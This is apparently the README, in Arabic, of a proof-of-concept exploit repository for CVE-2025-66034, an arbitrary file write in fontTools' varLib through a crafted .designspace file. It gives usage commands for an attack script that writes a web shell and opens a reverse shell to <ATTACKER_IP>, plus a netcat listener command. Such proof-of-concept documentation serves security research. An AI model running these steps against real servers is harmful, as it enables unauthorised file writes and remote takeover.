
استغلال لإثبات المفهوم لثغرة CVE-2025-66034 في خط إنتاج توليد الخطوط المتغيرة في fontTools. يسمح ملف .designspace معدّ خصيصًا بالتحكم في مسار الإخراج، مما يتيح عمليات كتابة ملفات عشوائية. يقوم السكربت بأتمتة إنشاء الحمولة وتوليد الخطوط ورفعها لإثبات المشكلة.
هذا المستودع لا يقدّم ثغرة أمنية جديدة.
هذا إثبات مفهوم (Proof-of-concept) لاستغلال CVE-2025-66034 الذي يؤثر على خط إنتاج الخطوط المتغيرة varLib في fontTools.
تسمح الثغرة للمهاجمين بالتحكم في اسم ملف الإخراج داخل ملف .designspace مُعدّ بعناية. عند معالجته بواسطة خدمة توليد خطوط معرّضة للخطر، يمكن أن يؤدي ذلك إلى كتابة ملفات عشوائية على نظام ملفات الخادم.
يعمل السكربت varlib_cve_2025_66034.py على أتمتة إنشاء الحمولة، وتوليد الخطوط، والرفع، وتشغيل الصدفة الاختياري.
nc تلقائيبايثون 3.9+
تثبيت التبعيات:
pip install fonttools requests
Netcat مطلوب للمستمع، لذلك الأمر التالي مطلوب إذا كنت تستخدم خيار --no-listen:
nc -lvnp <PORT_NUMBER>
إذا كان هدفك مختبرًا مستضافًا ذاتيًا يعمل على mysite.com، وكان مسار الرفع ومسار الكتابة على نظام الملفات ومسار التشغيل عبر الويب مطابقة للقيم الافتراضية في السكربت، يمكنك تشغيله مباشرة.
الاستخدام الأساسي:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
من المرجح جدًا أن الهدف يستخدم عناوين URL أو مسارات نظام ملفات مختلفة، لذا تجاوز القيم الافتراضية باستخدام الخيارات المتاحة أدناه، مثل --url و --path و --trigger أو عدّل السكربت يدويًا
ملاحظة: قد تختلف أسماء حقول نموذج الرفع متعدد الأجزاء (multipart) حسب البيئة. إذا كان الهدف لا يستخدم نفس أسماء حقول النموذج الموجودة في السكربت، فقم بتعديلها في قسم files قبل تشغيل الاستغلال.
| الوسيط | الوصف |
|---|---|
--ip | عنوان IP لمستمع المهاجم |
--port | منفذ المستمع |
--path | مسار نظام الملفات الهدف حيث سيتم كتابة الملف (يجب أن يكون قابلًا للوصول عبر الويب لتشغيل صدفة ويب) |
--url | نقطة نهاية الرفع، قد يختلف النموذج |
--trigger | عنوان URL الأساسي المستخدم لتشغيل الحمولة المكتوبة بعد الرفع |
--no-listen | تعطيل مستمع netcat التلقائي |
مثال مع خيارات مخصصة:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace خبيثشكر خاص وتقدير إلى:
يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحثية للمساعدة في فهم الثغرة وتأثيرها.
هذا الكود مُقدَّم لأغراض تعليمية وبحثية فقط.
لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
المؤلف غير مسؤول عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.